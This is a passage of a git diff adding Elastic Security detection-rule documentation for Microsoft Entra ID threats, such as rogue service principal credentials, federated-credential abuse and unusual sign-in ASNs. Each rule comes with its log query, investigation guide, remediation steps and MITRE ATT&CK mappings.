activities. +- Consider disabling the account temporarily until the investigation is complete and all remediation steps are verified. +- Implement conditional access policies to prevent future compromises, such as requiring MFA from untrusted locations or blocking legacy authentication. +- Review and strengthen identity protection policies and risk-based conditional access rules. +- Document the incident, including the timeline, scope of compromise, and remediation actions taken. +- Conduct a post-incident review to identify gaps in security controls and implement improvements to prevent similar incidents. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.identity_protection and + azure.identityprotection.properties.risk_detail: ( + "adminConfirmedSigninCompromised" or + "adminConfirmedUserCompromised" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-alerts-for-user-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-alerts-for-user-detected.asciidoc new file mode 100644 index 0000000000..1a7ec8bbe3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-alerts-for-user-detected.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-entra-id-protection-alerts-for-user-detected]] +=== Entra ID Protection Alerts for User Detected + +Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection Alerts for User Detected* + + + +*Possible investigation steps* + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.identityprotection.properties.user_principal_name with maxspan=10m +[any where event.module == "azure" and event.dataset == "azure.identity_protection"] with runs=2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-user-alert-and-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-user-alert-and-device-registration.asciidoc new file mode 100644 index 0000000000..3a15917333 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-user-alert-and-device-registration.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-entra-id-protection-user-alert-and-device-registration]] +=== Entra ID Protection User Alert and Device Registration + +Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection User Alert and Device Registration* + + + +*Possible investigation steps* + + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. +- A Microsoft Entra ID Protection alert may be triggered by legitimate activities such as password resets, MFA changes, or device registrations. If the user is known to perform these actions regularly, it may not indicate a compromise. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=5m +[any where event.dataset == "azure.identity_protection"] by azure.identityprotection.properties.user_principal_name +[any where event.dataset == "azure.auditlogs" and event.action == "Register device"] by azure.auditlogs.properties.initiated_by.user.userPrincipalName + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc new file mode 100644 index 0000000000..c7a6f30c24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-entra-id-service-principal-credentials-created-by-unusual-user]] +=== Entra ID Service Principal Credentials Created by Unusual User + +Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 +* https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ +* https://www.cisa.gov/news-events/alerts/2025/05/22/advisory-update-cyber-threat-activity-targeting-commvaults-saas-cloud-application-metallic + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Credentials Created by Unusual User* + + +This rule identifies the addition of new credentials (client secrets or certificates) to a Microsoft Entra ID (formerly Azure AD) service principal by a user who has not previously performed this operation in the last 10 days. Adversaries who obtain temporary or persistent access to a user account may add rogue credentials to service principals in order to maintain unauthorized access to cloud resources. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that detects rare users performing sensitive identity-related actions in Entra ID. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `azure.auditlogs.properties.initiated_by.user.user_principal_name` and `azure.auditlogs.properties.initiated_by.user.id` fields to identify the user account performing the action. Determine if this user typically manages service principals. +- Check for Known Admin or Automation Context: Validate if the action was expected (e.g., part of a deployment pipeline or credential rotation process). Investigate whether this is a known administrative account or an automated service principal maintainer. +- Inspect Credential Type: Determine if a certificate or client secret was added, and assess its expiration time, usage scope, and whether it aligns with internal practices. +- Correlate with Other Events: Look for surrounding events such as creation of new service principals, assignment of roles or permissions, or suspicious application sign-ins that could indicate persistence or privilege escalation. +- Analyze Source of Activity: Review `source.ip` and `user_agent.original` fields to assess whether the request came from a trusted network or device. Unexpected geolocations, hosting providers, or Linux CLI-based user agents may indicate unauthorized activity. + + +*False Positive Analysis* + +- Routine Administrative Tasks: This alert may trigger when legitimate administrators or DevOps engineers rotate credentials for service principals as part of normal operations. +- First-Time Actions by Known Accounts: If a new user joins the team or an existing user is performing this task for the first time in the observed period, it may be expected behavior. Verify with the relevant team. + + +*Response and Remediation* + +- Revoke Unauthorized Credentials: If suspicious, disable or delete the newly added service principal credential immediately. +- Investigate User Account: Review the login history, IP address usage, and other activity from the initiating user to determine whether the account is compromised. +- Audit Affected Service Principal: Evaluate the permissions granted to the service principal to understand the potential impact of misuse. +- Review RBAC and Least Privilege: Ensure that only authorized identities have permission to add credentials to service principals. Tighten IAM role definitions if necessary. +- Enable Just-in-Time or Approval-Based Access: Consider implementing access control policies that require approvals for modifying service principals or adding credentials. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name:"Add service principal credentials" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc new file mode 100644 index 0000000000..f8c461fdf2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-entra-id-service-principal-federated-credential-authentication-by-unusual-client]] +=== Entra ID Service Principal Federated Credential Authentication by Unusual Client + +Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ +* https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Federated Credential Authentication by Unusual Client* + + +If this rule triggers, it indicates that a service principal has authenticated using a federated identity credential for the first time within the historical window. This means that Entra ID validated a JWT token potentially issued by an external OIDC identity provider and issued an access token for the service principal. While this can be legitimate for CI/CD workflows (e.g., GitHub Actions, Azure DevOps, Kubernetes OIDC), it can also indicate abuse by adversaries who have configured rogue identity providers (BYOIDP) to authenticate as compromised applications. For BYOIDP attacks, this is the moment the adversary's rogue identity provider is used to authenticate as the +compromised application for the first time. + + +*Possible investigation steps* + + +- Identify the service principal using `azure.signinlogs.properties.app_id` and `app_display_name`. +- Critical: Check the application's federated credential configuration in Entra ID: + - What is the issuer URL? Is it a known legitimate provider (GitHub Actions, Azure DevOps, Kubernetes)? + - When was the federated credential added? Was it recent? + - Who added the federated credential? +- Review the `service_principal_credential_thumbprint` - does it match expected certificates? +- Investigate the source IP (`azure.signinlogs.caller_ip_address`) - is it from expected CI/CD infrastructure? +- Check what resources were accessed after authentication using `azure.signinlogs.properties.resource_display_name`. +- Correlate with Graph Activity logs to see what API calls were made with this token. +- Use the `correlation_id` to find related sign-in and activity events. +- Review audit logs for recent changes to this application's federated credentials. + + +*False positive analysis* + + +- Legitimate CI/CD pipelines using GitHub Actions, Azure DevOps, or Kubernetes OIDC will trigger this rule on first use. +- New application deployments with workload identity federation are expected to show as new behavior. +- Validate the issuer URL against approved identity providers before dismissing. +- Create baseline of applications expected to use federated credentials. + + +*Response and remediation* + + +- If this is unexpected federated auth for the application, immediately investigate the federated credential configuration. +- Review the external IdP issuer URL configured on the application - is it legitimate? +- If BYOIDP is confirmed: + - Remove the malicious federated credential immediately. + - Revoke active sessions and tokens for the affected service principal. + - Audit what actions were performed using the compromised identity. + - Investigate how the federated credential was added (compromised admin account). + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" + and azure.signinlogs.category: "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.client_credential_type: "federatedIdentityCredential" + and azure.signinlogs.result_signature: "SUCCESS" + and azure.signinlogs.properties.app_id: * + and not azure.signinlogs.properties.app_owner_tenant_id: ( + "f8cdef31-a31e-4b4a-93e4-5f571e91255a" or + "72f988bf-86f1-41af-91ab-2d7cd011db47" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-with-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-with-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..fc3d3c0d96 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-service-principal-with-unusual-source-asn.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-entra-id-service-principal-with-unusual-source-asn]] +=== Entra ID Service Principal with Unusual Source ASN + +Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identities +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal with Unusual Source ASN* + + +This rule matches successful **ServicePrincipalSignInLogs** events where `azure.signinlogs.properties.service_principal_id` +and `source.as.number` together have not appeared in the rule history window. It is a first-seen network path signal for +the workload identity, not proof of compromise by itself. + + +*Possible investigation steps* + + +- Confirm the event is **ServicePrincipalSignInLogs** with a successful outcome and review `azure.signinlogs.properties.status.error_code` on the source document if needed. +- Identify the application using `azure.signinlogs.properties.app_display_name`, `azure.signinlogs.properties.app_id`, and `azure.signinlogs.properties.service_principal_id`. In Entra ID, review the enterprise application or app registration (first-party, partner, or internal automation). +- Review `source.ip`, `source.as.organization.name`, `source.as.number`, and `source.geo.*` against the owning team’s expected regions, cloud subscriptions, and CI/CD or automation footprint. +- Compare `@timestamp` to maintenance windows, releases, and planned infrastructure changes. +- Where possible, enrich `source.ip` with internal CMDB, cloud asset inventory, or threat intelligence (residential or low-reputation ASNs warrant more scrutiny than a known cloud provider already used by this app). +- In Entra sign-in logs, pivot on the same `service_principal_id` or `app_id` and review prior successful sign-ins for typical ASNs and egress patterns; a one-off path may be a new pipeline or stolen credentials used from a new host. +- Review Entra audit logs for recent changes to this application: client secrets, certificates, federated credentials, owners, API permissions, or app role assignments, especially shortly before the alert. +- Query Azure Activity, Microsoft Graph, or workload-specific logs after the sign-in time using `azure.signinlogs.properties.correlation_id` or `session_id` when present to see what resources the identity accessed (subscriptions, Key Vault, mail, privileged roles). +- Search for related alerts in the same time window involving the same `app_id` or `source.ip` (for example OAuth abuse, consent, Arc or Kubernetes access, or directory role changes). +- Note that the rule query excludes Microsoft-labeled `source.as.organization.name` values; high-value investigations should also review raw sign-in data for suspicious activity that only appears under those labels. + + +*False positive analysis* + + +- New regions, subscriptions, GitHub Actions or Azure DevOps pools, DR exercises, or vendor migrations can produce a legitimate first-seen ASN for the service principal. Validate with the owner and document expected paths before excluding. +- Amazon- and Google-labeled ASNs are in scope by design; adversaries may egress through AWS or GCP. Expect more noise from legitimate automation in those clouds and prefer allowlisting reviewed `app_id` or automation accounts over disabling the rule. +- GeoIP or ASN enrichment updates can occasionally produce a one-time new tuple; compare to historical events for the same IP if available. + + +*Response and remediation* + + +- If the path is unexpected and risky audit activity preceded the sign-in, treat as a potential credential incident: rotate application secrets and certificates, revoke sessions or tokens as applicable, and review Conditional Access and workload identity policies for the application. +- Review and reduce API permissions, OAuth scopes, and directory or subscription roles granted to the application; remove unused access. +- Document approved automation and network baselines so repeat first-seen ASN alerts can be triaged faster. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.signinlogs + and azure.signinlogs.category:ServicePrincipalSignInLogs + and azure.signinlogs.properties.status.error_code:0 + and azure.signinlogs.properties.service_principal_id:* + and source.as.number:* + and not source.as.organization.name:(*MICROSOFT* or *Microsoft*) + and not azure.signinlogs.properties.app_owner_tenant_id:(72f988bf-86f1-41af-91ab-2d7cd011db47 or f8cdef31-a31e-4b4a-93e4-5f571e91255a) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc new file mode 100644 index 0000000000..b3d1240a5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client]] +=== Entra ID Sharepoint or OneDrive Accessed by Unusual Client + +Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ +* https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-consent-requests +* https://github.com/merill/microsoft-info/blob/main/_info/MicrosoftApps.json + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: Storage +* Use Case: Identity and Access Audit +* Tactic: Collection +* Tactic: Initial Access +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Resources: 